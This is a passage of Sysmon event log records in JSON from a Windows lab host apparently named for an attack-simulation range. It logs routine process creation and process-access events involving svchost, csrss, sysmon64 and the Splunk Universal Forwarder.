C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.609","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-001051180300}","TargetProcessId":"2412","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1781,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.666\r\nProcessGuid: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nProcessId: 3744\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nParentProcessId: 4072\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.666","ProcessGuid":"{90617006-3FE6-5F2D-0000-00104F1F0300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-0010B0140300}","ParentProcessId":"4072","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1782,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-0010B0140300}\r\nSourceProcessId: 4072\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nTargetProcessId: 3744\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1815e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-0010B0140300}","SourceProcessId":"4072","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","TargetProcessId":"3744","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+13671|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1815e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1783,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nTargetProcessId: 3744\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","TargetProcessId":"3744","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1784,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1785,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1786,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1787,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1788,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.d